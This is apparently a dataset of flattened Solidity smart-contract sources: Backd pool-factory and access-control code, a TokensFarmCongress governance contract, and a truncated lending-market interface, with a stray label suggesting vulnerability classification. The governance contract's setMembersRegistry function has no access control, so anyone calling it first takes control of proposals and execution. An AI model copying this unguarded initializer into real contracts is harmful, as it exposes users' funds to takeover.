function getKeeperWeightForPool(address pool) external view returns (uint256);
function getAmmWeightForToken(address pool) external view returns (uint256);
function getLpPoolWeight(address pool) external view returns (uint256);
function getKeeperGaugeForPool(address pool) external view returns (address);
function getAmmGaugeForToken(address token) external view returns (address);
function isInflationWeightManager(address account) external view returns (bool);
function removeStakerVaultFromInflation(address stakerVault, address lpToken) external;
function addGaugeForVault(address lpToken) external returns (bool);
function whitelistGauge(address gauge) external;
function checkpointAllGauges() external returns (bool);
function mintRewards(address beneficiary, uint256 amount) external;
function addStrategyToDepositStakerVault(address depositStakerVault, address strategyPool)
external
returns (bool);
/** Weight setter functions **/
function prepareLpPoolWeight(address lpToken, uint256 newPoolWeight) external returns (bool);
function prepareAmmTokenWeight(address token, uint256 newTokenWeight) external returns (bool);
function prepareKeeperPoolWeight(address pool, uint256 newPoolWeight) external returns (bool);
function executeLpPoolWeight(address lpToken) external returns (uint256);
function executeAmmTokenWeight(address token) external returns (uint256);
function executeKeeperPoolWeight(address pool) external returns (uint256);
function batchPrepareLpPoolWeights(address[] calldata lpTokens, uint256[] calldata weights)
external
returns (bool);
function batchPrepareAmmTokenWeights(address[] calldata tokens, uint256[] calldata weights)
external
returns (bool);
function batchPrepareKeeperPoolWeights(address[] calldata pools, uint256[] calldata weights)
external
returns (bool);
function batchExecuteLpPoolWeights(address[] calldata lpTokens) external returns (bool);
function batchExecuteAmmTokenWeights(address[] calldata tokens) external returns (bool);
function batchExecuteKeeperPoolWeights(address[] calldata pools) external returns (bool);
}
// File interfaces/IController.sol
pragma solidity 0.8.9;
// solhint-disable ordering
interface IController is IPreparable {
function addressProvider() external view returns (IAddressProvider);
function inflationManager() external view returns (IInflationManager);
function addStakerVault(address stakerVault) external returns (bool);
function removePool(address pool) external returns (bool);
/** Keeper functions */
function prepareKeeperRequiredStakedBKD(uint256 amount) external;
function executeKeeperRequiredStakedBKD() external;
function getKeeperRequiredStakedBKD() external view returns (uint256);
function canKeeperExecuteAction(address keeper) external view returns (bool);
/** Miscellaneous functions */
function getTotalEthRequiredForGas(address payer) external view returns (uint256);
}
// File interfaces/pool/IErc20Pool.sol
pragma solidity 0.8.9;
interface IErc20Pool {
function initialize(
string memory name_,
address underlying_,
uint256 depositCap_,
address vault_
) external returns (bool);
}
// File interfaces/pool/IEthPool.sol
pragma solidity 0.8.9;
interface IEthPool {
function initialize(
string memory name_,
uint256 depositCap_,
address vault_
) external returns (bool);
}
// File libraries/ScaledMath.sol
pragma solidity 0.8.9;
/*
* @dev To use functions of this contract, at least one of the numbers must
* be scaled to `DECIMAL_SCALE`. The result will scaled to `DECIMAL_SCALE`
* if both numbers are scaled to `DECIMAL_SCALE`, otherwise to the scale
* of the number not scaled by `DECIMAL_SCALE`
*/
library ScaledMath {
// solhint-disable-next-line private-vars-leading-underscore
uint256 internal constant DECIMAL_SCALE = 1e18;
// solhint-disable-next-line private-vars-leading-underscore
uint256 internal constant ONE = 1e18;
/**
* @notice Performs a multiplication between two scaled numbers
*/
function scaledMul(uint256 a, uint256 b) internal pure returns (uint256) {
return (a * b) / DECIMAL_SCALE;
}
/**
* @notice Performs a division between two scaled numbers
*/
function scaledDiv(uint256 a, uint256 b) internal pure returns (uint256) {
return (a * DECIMAL_SCALE) / b;
}
/**
* @notice Performs a division between two numbers, rounding up the result
*/
function scaledDivRoundUp(uint256 a, uint256 b) internal pure returns (uint256) {
return (a * DECIMAL_SCALE + b - 1) / b;
}
/**
* @notice Performs a division between two numbers, ignoring any scaling and rounding up the result
*/
function divRoundUp(uint256 a, uint256 b) internal pure returns (uint256) {
return (a + b - 1) / b;
}
}
// File interfaces/IVaultReserve.sol
pragma solidity 0.8.9;
interface IVaultReserve {
event Deposit(address indexed vault, address indexed token, uint256 amount);
event Withdraw(address indexed vault, address indexed token, uint256 amount);
event VaultListed(address indexed vault);
function deposit(address token, uint256 amount) external payable returns (bool);
function withdraw(address token, uint256 amount) external returns (bool);
function getBalance(address vault, address token) external view returns (uint256);
function canWithdraw(address vault) external view returns (bool);
}
// File interfaces/IRoleManager.sol
pragma solidity 0.8.9;
interface IRoleManager {
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function hasRole(bytes32 role, address account) external view returns (bool);
function hasAnyRole(bytes32[] memory roles, address account) external view returns (bool);
function hasAnyRole(
bytes32 role1,
bytes32 role2,
address account
) external view returns (bool);
function hasAnyRole(
bytes32 role1,
bytes32 role2,
bytes32 role3,
address account
) external view returns (bool);
function getRoleMemberCount(bytes32 role) external view returns (uint256);
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
}
// File interfaces/tokenomics/IBkdToken.sol
pragma solidity 0.8.9;
interface IBkdToken is IERC20 {
function mint(address account, uint256 amount) external;
}
// File libraries/AddressProviderKeys.sol
pragma solidity 0.8.9;
library AddressProviderKeys {
bytes32 internal constant _TREASURY_KEY = "treasury";
bytes32 internal constant _GAS_BANK_KEY = "gasBank";
bytes32 internal constant _VAULT_RESERVE_KEY = "vaultReserve";
bytes32 internal constant _SWAPPER_REGISTRY_KEY = "swapperRegistry";
bytes32 internal constant _ORACLE_PROVIDER_KEY = "oracleProvider";
bytes32 internal constant _POOL_FACTORY_KEY = "poolFactory";
bytes32 internal constant _CONTROLLER_KEY = "controller";
bytes32 internal constant _BKD_LOCKER_KEY = "bkdLocker";
bytes32 internal constant _ROLE_MANAGER_KEY = "roleManager";
}
// File libraries/AddressProviderHelpers.sol
pragma solidity 0.8.9;
library AddressProviderHelpers {
/**
* @return The address of the treasury.
*/
function getTreasury(IAddressProvider provider) internal view returns (address) {
return provider.getAddress(AddressProviderKeys._TREASURY_KEY);
}
/**
* @return The gas bank.
*/
function getGasBank(IAddressProvider provider) internal view returns (IGasBank) {
return IGasBank(provider.getAddress(AddressProviderKeys._GAS_BANK_KEY));
}
/**
* @return The address of the vault reserve.
*/
function getVaultReserve(IAddressProvider provider) internal view returns (IVaultReserve) {
return IVaultReserve(provider.getAddress(AddressProviderKeys._VAULT_RESERVE_KEY));
}
/**
* @return The address of the swapperRegistry.
*/
function getSwapperRegistry(IAddressProvider provider) internal view returns (address) {
return provider.getAddress(AddressProviderKeys._SWAPPER_REGISTRY_KEY);
}
/**
* @return The oracleProvider.
*/
function getOracleProvider(IAddressProvider provider) internal view returns (IOracleProvider) {
return IOracleProvider(provider.getAddress(AddressProviderKeys._ORACLE_PROVIDER_KEY));
}
/**
* @return the address of the BKD locker
*/
function getBKDLocker(IAddressProvider provider) internal view returns (address) {
return provider.getAddress(AddressProviderKeys._BKD_LOCKER_KEY);
}
/**
* @return the address of the BKD locker
*/
function getRoleManager(IAddressProvider provider) internal view returns (IRoleManager) {
return IRoleManager(provider.getAddress(AddressProviderKeys._ROLE_MANAGER_KEY));
}
/**
* @return the controller
*/
function getController(IAddressProvider provider) internal view returns (IController) {
return IController(provider.getAddress(AddressProviderKeys._CONTROLLER_KEY));
}
}
// File libraries/Errors.sol
pragma solidity 0.8.9;
// solhint-disable private-vars-leading-underscore
library Error {
string internal constant ADDRESS_WHITELISTED = "address already whitelisted";
string internal constant ADMIN_ALREADY_SET = "admin has already been set once";
string internal constant ADDRESS_NOT_WHITELISTED = "address not whitelisted";
string internal constant ADDRESS_NOT_FOUND = "address not found";
string internal constant CONTRACT_INITIALIZED = "contract can only be initialized once";
string internal constant CONTRACT_PAUSED = "contract is paused";
string internal constant INVALID_AMOUNT = "invalid amount";
string internal constant INVALID_INDEX = "invalid index";
string internal constant INVALID_VALUE = "invalid msg.value";
string internal constant INVALID_SENDER = "invalid msg.sender";
string internal constant INVALID_TOKEN = "token address does not match pool's LP token address";
string internal constant INVALID_DECIMALS = "incorrect number of decimals";
string internal constant INVALID_ARGUMENT = "invalid argument";
string internal constant INVALID_PARAMETER_VALUE = "invalid parameter value attempted";
string internal constant INVALID_IMPLEMENTATION = "invalid pool implementation for given coin";
string internal constant INVALID_POOL_IMPLEMENTATION =
"invalid pool implementation for given coin";
string internal constant INVALID_LP_TOKEN_IMPLEMENTATION =
"invalid LP Token implementation for given coin";
string internal constant INVALID_VAULT_IMPLEMENTATION =
"invalid vault implementation for given coin";
string internal constant INVALID_STAKER_VAULT_IMPLEMENTATION =
"invalid stakerVault implementation for given coin";
string internal constant INSUFFICIENT_BALANCE = "insufficient balance";
string internal constant ADDRESS_ALREADY_SET = "Address is already set";
string internal constant INSUFFICIENT_STRATEGY_BALANCE = "insufficient strategy balance";
string internal constant INSUFFICIENT_FUNDS_RECEIVED = "insufficient funds received";
string internal constant ADDRESS_DOES_NOT_EXIST = "address does not exist";
string internal constant ADDRESS_FROZEN = "address is frozen";
string internal constant ROLE_EXISTS = "role already exists";
string internal constant CANNOT_REVOKE_ROLE = "cannot revoke role";
string internal constant UNAUTHORIZED_ACCESS = "unauthorized access";
string internal constant SAME_ADDRESS_NOT_ALLOWED = "same address not allowed";
string internal constant SELF_TRANSFER_NOT_ALLOWED = "self-transfer not allowed";
string internal constant ZERO_ADDRESS_NOT_ALLOWED = "zero address not allowed";
string internal constant ZERO_TRANSFER_NOT_ALLOWED = "zero transfer not allowed";
string internal constant THRESHOLD_TOO_HIGH = "threshold is too high, must be under 10";
string internal constant INSUFFICIENT_THRESHOLD = "insufficient threshold";
string internal constant NO_POSITION_EXISTS = "no position exists";
string internal constant POSITION_ALREADY_EXISTS = "position already exists";
string internal constant PROTOCOL_NOT_FOUND = "protocol not found";
string internal constant TOP_UP_FAILED = "top up failed";
string internal constant SWAP_PATH_NOT_FOUND = "swap path not found";
string internal constant UNDERLYING_NOT_SUPPORTED = "underlying token not supported";
string internal constant NOT_ENOUGH_FUNDS_WITHDRAWN =
"not enough funds were withdrawn from the pool";
string internal constant FAILED_TRANSFER = "transfer failed";
string internal constant FAILED_MINT = "mint failed";
string internal constant FAILED_REPAY_BORROW = "repay borrow failed";
string internal constant FAILED_METHOD_CALL = "method call failed";
string internal constant NOTHING_TO_CLAIM = "there is no claimable balance";
string internal constant ERC20_BALANCE_EXCEEDED = "ERC20: transfer amount exceeds balance";
string internal constant INVALID_MINTER =
"the minter address of the LP token and the pool address do not match";
string internal constant STAKER_VAULT_EXISTS = "a staker vault already exists for the token";
string internal constant DEADLINE_NOT_ZERO = "deadline must be 0";
string internal constant DEADLINE_NOT_SET = "deadline is 0";
string internal constant DEADLINE_NOT_REACHED = "deadline has not been reached yet";
string internal constant DELAY_TOO_SHORT = "delay be at least 3 days";
string internal constant INSUFFICIENT_UPDATE_BALANCE =
"insufficient funds for updating the position";
string internal constant SAME_AS_CURRENT = "value must be different to existing value";
string internal constant NOT_CAPPED = "the pool is not currently capped";
string internal constant ALREADY_CAPPED = "the pool is already capped";
string internal constant EXCEEDS_DEPOSIT_CAP = "deposit exceeds deposit cap";
string internal constant VALUE_TOO_LOW_FOR_GAS = "value too low to cover gas";
string internal constant NOT_ENOUGH_FUNDS = "not enough funds to withdraw";
string internal constant ESTIMATED_GAS_TOO_HIGH = "too much ETH will be used for gas";
string internal constant DEPOSIT_FAILED = "deposit failed";
string internal constant GAS_TOO_HIGH = "too much ETH used for gas";
string internal constant GAS_BANK_BALANCE_TOO_LOW = "not enough ETH in gas bank to cover gas";
string internal constant INVALID_TOKEN_TO_ADD = "Invalid token to add";
string internal constant INVALID_TOKEN_TO_REMOVE = "token can not be removed";
string internal constant TIME_DELAY_NOT_EXPIRED = "time delay not expired yet";
string internal constant UNDERLYING_NOT_WITHDRAWABLE =
"pool does not support additional underlying coins to be withdrawn";
string internal constant STRATEGY_SHUT_DOWN = "Strategy is shut down";
string internal constant STRATEGY_DOES_NOT_EXIST = "Strategy does not exist";
string internal constant UNSUPPORTED_UNDERLYING = "Underlying not supported";
string internal constant NO_DEX_SET = "no dex has been set for token";
string internal constant INVALID_TOKEN_PAIR = "invalid token pair";
string internal constant TOKEN_NOT_USABLE = "token not usable for the specific action";
string internal constant ADDRESS_NOT_ACTION = "address is not registered action";
string internal constant INVALID_SLIPPAGE_TOLERANCE = "Invalid slippage tolerance";
string internal constant POOL_NOT_PAUSED = "Pool must be paused to withdraw from reserve";
string internal constant INTERACTION_LIMIT = "Max of one deposit and withdraw per block";
string internal constant GAUGE_EXISTS = "Gauge already exists";
string internal constant GAUGE_DOES_NOT_EXIST = "Gauge does not exist";
string internal constant EXCEEDS_MAX_BOOST = "Not allowed to exceed maximum boost on Convex";
string internal constant PREPARED_WITHDRAWAL =
"Cannot relock funds when withdrawal is being prepared";
string internal constant ASSET_NOT_SUPPORTED = "Asset not supported";
string internal constant STALE_PRICE = "Price is stale";
string internal constant NEGATIVE_PRICE = "Price is negative";
string internal constant NOT_ENOUGH_BKD_STAKED = "Not enough BKD tokens staked";
string internal constant RESERVE_ACCESS_EXCEEDED = "Reserve access exceeded";
}
// File libraries/Roles.sol
pragma solidity 0.8.9;
// solhint-disable private-vars-leading-underscore
library Roles {
bytes32 internal constant GOVERNANCE = "governance";
bytes32 internal constant ADDRESS_PROVIDER = "address_provider";
bytes32 internal constant POOL_FACTORY = "pool_factory";
bytes32 internal constant CONTROLLER = "controller";
bytes32 internal constant GAUGE_ZAP = "gauge_zap";
bytes32 internal constant MAINTENANCE = "maintenance";
bytes32 internal constant INFLATION_MANAGER = "inflation_manager";
bytes32 internal constant POOL = "pool";
bytes32 internal constant VAULT = "vault";
}
// File contracts/access/AuthorizationBase.sol
pragma solidity 0.8.9;
/**
* @notice Provides modifiers for authorization
*/
abstract contract AuthorizationBase {
/**
* @notice Only allows a sender with `role` to perform the given action
*/
modifier onlyRole(bytes32 role) {
require(_roleManager().hasRole(role, msg.sender), Error.UNAUTHORIZED_ACCESS);
_;
}
/**
* @notice Only allows a sender with GOVERNANCE role to perform the given action
*/
modifier onlyGovernance() {
require(_roleManager().hasRole(Roles.GOVERNANCE, msg.sender), Error.UNAUTHORIZED_ACCESS);
_;
}
/**
* @notice Only allows a sender with any of `roles` to perform the given action
*/
modifier onlyRoles2(bytes32 role1, bytes32 role2) {
require(_roleManager().hasAnyRole(role1, role2, msg.sender), Error.UNAUTHORIZED_ACCESS);
_;
}
/**
* @notice Only allows a sender with any of `roles` to perform the given action
*/
modifier onlyRoles3(
bytes32 role1,
bytes32 role2,
bytes32 role3
) {
require(
_roleManager().hasAnyRole(role1, role2, role3, msg.sender),
Error.UNAUTHORIZED_ACCESS
);
_;
}
function roleManager() external view virtual returns (IRoleManager) {
return _roleManager();
}
function _roleManager() internal view virtual returns (IRoleManager);
}
// File contracts/access/Authorization.sol
pragma solidity 0.8.9;
contract Authorization is AuthorizationBase {
IRoleManager internal immutable __roleManager;
constructor(IRoleManager roleManager) {
__roleManager = roleManager;
}
function _roleManager() internal view override returns (IRoleManager) {
return __roleManager;
}
}
// File contracts/pool/PoolFactory.sol
pragma solidity 0.8.9;
contract PoolFactory is Authorization {
using AddressProviderHelpers for IAddressProvider;
struct Addresses {
address pool;
address vault;
address lpToken;
address stakerVault;
}
struct ImplementationNames {
bytes32 pool;
bytes32 vault;
bytes32 lpToken;
bytes32 stakerVault;
}
struct VaultArgs {
uint256 debtLimit;
uint256 targetAllocation;
uint256 bound;
}
struct LpTokenArgs {
string name;
string symbol;
uint8 decimals;
}
struct DeployPoolVars {
address lpTokenImplementation;
address poolImplementation;
address stakerVaultImplementation;
address vaultImplementation;
}
bytes32 internal constant _POOL_KEY = "pool";
bytes32 internal constant _LP_TOKEN_KEY = "lp_token";
bytes32 internal constant _STAKER_VAULT_KEY = "staker_vault";
bytes32 internal constant _VAULT_KEY = "vault";
IController public immutable controller;
IAddressProvider public immutable addressProvider;
/**
* @dev maps a contract type (e.g. "pool" or "lp_token", as defined in constants above)
* to a mapping from an implementation name to the actual implementation
* The implementation name is decided when registering the implementation
* and can be arbitrary (e.g. "ERC20PoolV1")
*/
mapping(bytes32 => mapping(bytes32 => address)) public implementations;
event NewPool(address pool, address vault, address lpToken, address stakerVault);
event NewImplementation(bytes32 key, bytes32 name, address implementation);
constructor(IController _controller)
Authorization(_controller.addressProvider().getRoleManager())
{
controller = IController(_controller);
addressProvider = IController(_controller).addressProvider();
}
/**
* @notice Add a new pool implementation to the factory.
* @param name of the pool implementation.
* @param implementation of pool implementation to add.
*/
function addPoolImplementation(bytes32 name, address implementation)
external
onlyGovernance
returns (bool)
{
return _addImplementation(_POOL_KEY, name, implementation);
}
/**
* @notice Add a new LP token implementation to the factory.
* @param name of the LP token implementation.
* @param implementation of lp token implementation to add.
*/
function addLpTokenImplementation(bytes32 name, address implementation)
external
onlyGovernance
returns (bool)
{
return _addImplementation(_LP_TOKEN_KEY, name, implementation);
}
/**
* @notice Add a new vault implementation to the factory.
* @param name of the vault implementation.
* @param implementation of vault implementation to add.
*/
function addVaultImplementation(bytes32 name, address implementation)
external
onlyGovernance
returns (bool)
{
return _addImplementation(_VAULT_KEY, name, implementation);
}
/**
* @notice Add a new staker vault implementation to the factory.
* @param name of the staker vault implementation.
* @param implementation of staker vault implementation to add.
*/
function addStakerVaultImplementation(bytes32 name, address implementation)
external
onlyGovernance
returns (bool)
{
return _addImplementation(_STAKER_VAULT_KEY, name, implementation);
}
/**
* @notice Deploys a new pool and LP token.
* @dev Decimals is an argument as not all ERC20 tokens implement the ERC20Detailed interface.
* An implementation where `getUnderlying()` returns the zero address is for ETH pools.
* @param poolName Name of the pool.
* @param underlying Address of the pool's underlying.
* @param lpTokenArgs Arguments to create the LP token for the pool
* @param vaultArgs Arguments to create the vault
* @param implementationNames Name of the implementations to use
* @return addrs Address of the deployed pool, address of the pool's deployed LP token.
*/
function deployPool(
string calldata poolName,
uint256 depositCap,
address underlying,
LpTokenArgs calldata lpTokenArgs,
VaultArgs calldata vaultArgs,
ImplementationNames calldata implementationNames
) external onlyGovernance returns (Addresses memory addrs) {
DeployPoolVars memory vars;
vars.poolImplementation = implementations[_POOL_KEY][implementationNames.pool];
require(vars.poolImplementation != address(0), Error.INVALID_POOL_IMPLEMENTATION);
vars.lpTokenImplementation = implementations[_LP_TOKEN_KEY][implementationNames.lpToken];
require(vars.lpTokenImplementation != address(0), Error.INVALID_LP_TOKEN_IMPLEMENTATION);
vars.vaultImplementation = implementations[_VAULT_KEY][implementationNames.vault];
require(vars.vaultImplementation != address(0), Error.INVALID_VAULT_IMPLEMENTATION);
vars.stakerVaultImplementation = implementations[_STAKER_VAULT_KEY][
implementationNames.stakerVault
];
require(
vars.stakerVaultImplementation != address(0),
Error.INVALID_STAKER_VAULT_IMPLEMENTATION
);
addrs.pool = Clones.clone(vars.poolImplementation);
addrs.vault = Clones.clone(vars.vaultImplementation);
if (underlying == address(0)) {
// ETH pool
require(
ILiquidityPool(vars.poolImplementation).getUnderlying() == address(0),
Error.INVALID_POOL_IMPLEMENTATION
);
require(lpTokenArgs.decimals == 18, Error.INVALID_DECIMALS);
IEthPool(addrs.pool).initialize(poolName, depositCap, addrs.vault);
} else {
IErc20Pool(addrs.pool).initialize(poolName, underlying, depositCap, addrs.vault);
}
addrs.lpToken = Clones.clone(vars.lpTokenImplementation);
ILpToken(addrs.lpToken).initialize(
lpTokenArgs.name,
lpTokenArgs.symbol,
lpTokenArgs.decimals,
addrs.pool
);
addrs.stakerVault = Clones.clone(vars.stakerVaultImplementation);
IStakerVault(addrs.stakerVault).initialize(addrs.lpToken);
controller.addStakerVault(addrs.stakerVault);
ILiquidityPool(addrs.pool).setLpToken(addrs.lpToken);
ILiquidityPool(addrs.pool).setStaker();
IVault(addrs.vault).initialize(
addrs.pool,
vaultArgs.debtLimit,
vaultArgs.targetAllocation,
vaultArgs.bound
);
addressProvider.addPool(addrs.pool);
emit NewPool(addrs.pool, addrs.vault, addrs.lpToken, addrs.stakerVault);
return addrs;
}
/**
* @notice Add a new implementation of type `name` to the factory.
* @param key of the implementation to add.
* @param name of the implementation to add.
* @param implementation of lp token implementation to add.
*/
function _addImplementation(
bytes32 key,
bytes32 name,
address implementation
) internal returns (bool) {
mapping(bytes32 => address) storage currentImplementations = implementations[key];
if (currentImplementations[name] != address(0)) {
return false;
}
currentImplementations[name] = implementation;
emit NewImplementation(key, name, implementation);
return true;
}
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/**
*Submitted for verification at Etherscan.io on 2021-12-07
*/
// Sources flattened with hardhat v2.1.2 https://hardhat.org
// File contracts/governance/ICongressMembersRegistry.sol
pragma solidity 0.6.12;
/**
* ICongressMembersRegistry contract.
* @author Nikola Madjarevic
* Date created: 13.9.21.
* Github: madjarevicn
*/
interface ICongressMembersRegistry {
function isMember(address _address) external view returns (bool);
function getMinimalQuorum() external view returns (uint256);
}
// File contracts/governance/TokensFarmCongress.sol
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
/**
* TokensFarmCongress contract.
* @author Nikola Madjarevic
* Date created: 13.9.21.
* Github: madjarevicn
*/
contract TokensFarmCongress {
// The name of this contract
string public constant name = "TokensFarmCongress";
// Members registry contract
ICongressMembersRegistry membersRegistry;
// The total number of proposals
uint public proposalCount;
struct Proposal {
// Unique id for looking up a proposal
uint id;
// Creator of the proposal
address proposer;
// The ordered list of target addresses for calls to be made
address[] targets;
// The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
// The ordered list of function signatures to be called
string[] signatures;
// The ordered list of calldata to be passed to each call
bytes[] calldatas;
// Current number of votes in favor of this proposal
uint forVotes;
// Current number of votes in opposition to this proposal
uint againstVotes;
// Flag marking whether the proposal has been canceled
bool canceled;
// Flag marking whether the proposal has been executed
bool executed;
// Timestamp when proposal is created
uint timestamp;
// Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
// Ballot receipt record for a voter
struct Receipt {
// Whether or not a vote has been cast
bool hasVoted;
// Whether or not the voter supports the proposal
bool support;
}
// The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
// An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, string description);
// An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support);
// An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
// An event emitted when a proposal has been executed
event ProposalExecuted(uint id);
// An event emitted everytime ether is received
event ReceivedEther(address sender, uint amount);
// Event which will fire every time transaction is executed
event ExecuteTransaction(address indexed target, uint value, string signature, bytes data);
// Modifiers
modifier onlyMember {
require(
membersRegistry.isMember(msg.sender) == true,
"Only TokensFarmCongress member can call this function"
);
_;
}
/**
* @notice function to set members registry address
*
* @param _membersRegistry - address of members registry
*/
function setMembersRegistry(
address _membersRegistry
)
external
{
require(
address(membersRegistry) == address(0x0),
"TokensFarmCongress:setMembersRegistry: membersRegistry is already set"
);
membersRegistry = ICongressMembersRegistry(_membersRegistry);
}
/**
* @notice function to propose
*
* @param targets - array of address
* @param values - array of values
* @param signatures - array of signatures
* @param calldatas - array of data
* @param description - array of descriptions
*
* @return id of proposal
*/
function propose(
address[] memory targets,
uint[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
string memory description
)
external
onlyMember
returns (uint)
{
require(
targets.length == values.length &&
targets.length == signatures.length &&
targets.length == calldatas.length,
"TokensFarmCongress::propose: proposal function information arity mismatch"
);
require(targets.length != 0, "TokensFarmCongress::propose: must provide actions");
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false,
timestamp: block.timestamp
});
proposals[newProposal.id] = newProposal;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, description);
return newProposal.id;
}
/**
* @notice function to cast vote
*
* @param proposalId - id proposal
* @param support - agree or don't agree on proposal
*/
function castVote(
uint proposalId,
bool support
)
external
onlyMember
{
return _castVote(msg.sender, proposalId, support);
}
function _castVote(
address voter,
uint proposalId,
bool support
)
internal
{
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(!receipt.hasVoted, "TokensFarmCongress::_castVote: voter already voted");
if (support) {
proposal.forVotes = add256(proposal.forVotes, 1);
} else {
proposal.againstVotes = add256(proposal.againstVotes, 1);
}
receipt.hasVoted = true;
receipt.support = support;
emit VoteCast(voter, proposalId, support);
}
/**
* @notice function to execute on what is voted
*
* @param proposalId - id of proposal
*/
function execute(
uint proposalId
)
external
onlyMember
payable
{
// load the proposal
Proposal storage proposal = proposals[proposalId];
// Require that proposal is not previously executed neither cancelled
require(!proposal.executed && !proposal.canceled, "Proposal was canceled or executed");
// Mark that proposal is executed
proposal.executed = true;
// Require that votes in favor of proposal are greater or equal to minimalQuorum
require(proposal.forVotes >= membersRegistry.getMinimalQuorum(), "Not enough votes in favor");
for (uint i = 0; i < proposal.targets.length; i++) {
bytes memory callData;
if (bytes(proposal.signatures[i]).length == 0) {
callData = proposal.calldatas[i];
} else {
callData = abi.encodePacked(
bytes4(keccak256(bytes(proposal.signatures[i]))),
proposal.calldatas[i]
);
}
// solium-disable-next-line security/no-call-value
(bool success,) = proposal.targets[i].call{value:proposal.values[i]}(callData);
// Require that transaction went through
require(
success,
"TokensFarmCongress::executeTransaction: Transaction execution reverted."
);
// Emit event that transaction is being executed
emit ExecuteTransaction(
proposal.targets[i],
proposal.values[i],
proposal.signatures[i],
proposal.calldatas[i]
);
}
// Emit event that proposal executed
emit ProposalExecuted(proposalId);
}
/**
* @notice function to cancel proposal
*
* @param proposalId - id of proposal
*/
function cancel(
uint proposalId
)
external
onlyMember
{
Proposal storage proposal = proposals[proposalId];
// Require that proposal is not previously executed neither cancelled
require(!proposal.executed && !proposal.canceled, "TokensFarmCongress:cancel: Proposal already executed or canceled");
// 3 days after proposal can get cancelled
require(block.timestamp >= proposal.timestamp + 259200, "TokensFarmCongress:cancel: Time lock hasn't ended yet");
// Proposal with reached minimalQuorum cant be cancelled
require(proposal.forVotes < membersRegistry.getMinimalQuorum(), "TokensFarmCongress:cancel: Proposal already reached quorum");
// Set that proposal is cancelled
proposal.canceled = true;
// Emit event
emit ProposalCanceled(proposalId);
}
/**
* @notice function to see what was voted on
*
* @param proposalId - id proposal
*
* @return targets
* @return values
* @return signatures
* @return calldatas
*/
function getActions(
uint proposalId
)
external
view
returns (
address[] memory targets,
uint[] memory values,
string[] memory signatures,
bytes[] memory calldatas
)
{
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
/**
* @notice function to see address of members registry
*
* @return address of members registry
*/
function getMembersRegistry()
external
view
returns (address)
{
return address(membersRegistry);
}
/**
* @notice function to check addition
*
* @param a - number1
* @param b - number2
*
* @return result of addition
*/
function add256(
uint256 a,
uint256 b
)
internal
pure
returns (uint)
{
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
receive()
external
payable
{
emit ReceivedEther(msg.sender, msg.value);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-02-23
*/
// File: contracts/interfaces/interestModelInterface.sol
pragma solidity 0.6.12;
interface interestModelInterface {
function getInterestAmount(address handlerDataStorageAddr, address payable userAddr, bool isView) external view returns (bool, uint256, uint256, bool, uint256, uint256);
function viewInterestAmount(address handlerDataStorageAddr, address payable userAddr) external view returns (bool, uint256, uint256, bool, uint256, uint256);
function getSIRandBIR(uint256 depositTotalAmount, uint256 borrowTotalAmount) external view returns (uint256, uint256);
}
// File: contracts/interfaces/marketHandlerDataStorageInterface.sol
pragma solidity 0.6.12;
interface marketHandlerDataStorageInterface {
function setCircuitBreaker(bool _emergency) external returns (bool);
function setNewCustomer(address payable userAddr) external returns (bool);
function getUserAccessed(address payable userAddr) external view returns (bool);
function setUserAccessed(address payable userAddr, bool _accessed) external returns (bool);
function getReservedAddr() external view returns (address payable);
function setReservedAddr(address payable reservedAddress) external returns (bool);
function getReservedAmount() external view returns (int256);
function addReservedAmount(uint256 amount) external returns (int256);
function subReservedAmount(uint256 amount) external returns (int256);
function updateSignedReservedAmount(int256 amount) external returns (int256);
function setTokenHandler(address _marketHandlerAddr, address _interestModelAddr) external returns (bool);
function setCoinHandler(address _marketHandlerAddr, address _interestModelAddr) external returns (bool);
function getDepositTotalAmount() external view returns (uint256);
function addDepositTotalAmount(uint256 amount) external returns (uint256);
function subDepositTotalAmount(uint256 amount) external returns (uint256);
function getBorrowTotalAmount() external view returns (uint256);
function addBorrowTotalAmount(uint256 amount) external returns (uint256);
function subBorrowTotalAmount(uint256 amount) external returns (uint256);
function getUserIntraDepositAmount(address payable userAddr) external view returns (uint256);
function addUserIntraDepositAmount(address payable userAddr, uint256 amount) external returns (uint256);
function subUserIntraDepositAmount(address payable userAddr, uint256 amount) external returns (uint256);
function getUserIntraBorrowAmount(address payable userAddr) external view returns (uint256);
function addUserIntraBorrowAmount(address payable userAddr, uint256 amount) external returns (uint256);
function subUserIntraBorrowAmount(address payable userAddr, uint256 amount) external returns (uint256);
function addDepositAmount(address payable userAddr, uint256 amount) external returns (bool);
function subDepositAmount(address payable userAddr, uint256 amount) external returns (bool);
function addBorrowAmount(address payable userAddr, uint256 amount) external returns (bool);
function subBorrowAmount(address payable userAddr, uint256 amount) external returns (bool);
function getUserAmount(address payable userAddr) external view returns (uint256, uint256);
function getHandlerAmount() external view returns (uint256, uint256);
function getAmount(address payable userAddr) external view returns (uint256, uint256, uint256, uint256);
function setAmount(address payable userAddr, uint256 depositTotalAmount, uint256 borrowTotalAmount, uint256 depositAmount, uint256 borrowAmount) external returns (uint256);
function setBlocks(uint256 lastUpdatedBlock, uint256 inactiveActionDelta) external returns (bool);
function getLastUpdatedBlock() external view returns (uint256);
function setLastUpdatedBlock(uint256 _lastUpdatedBlock) external returns (bool);
function getInactiveActionDelta() external view returns (uint256);
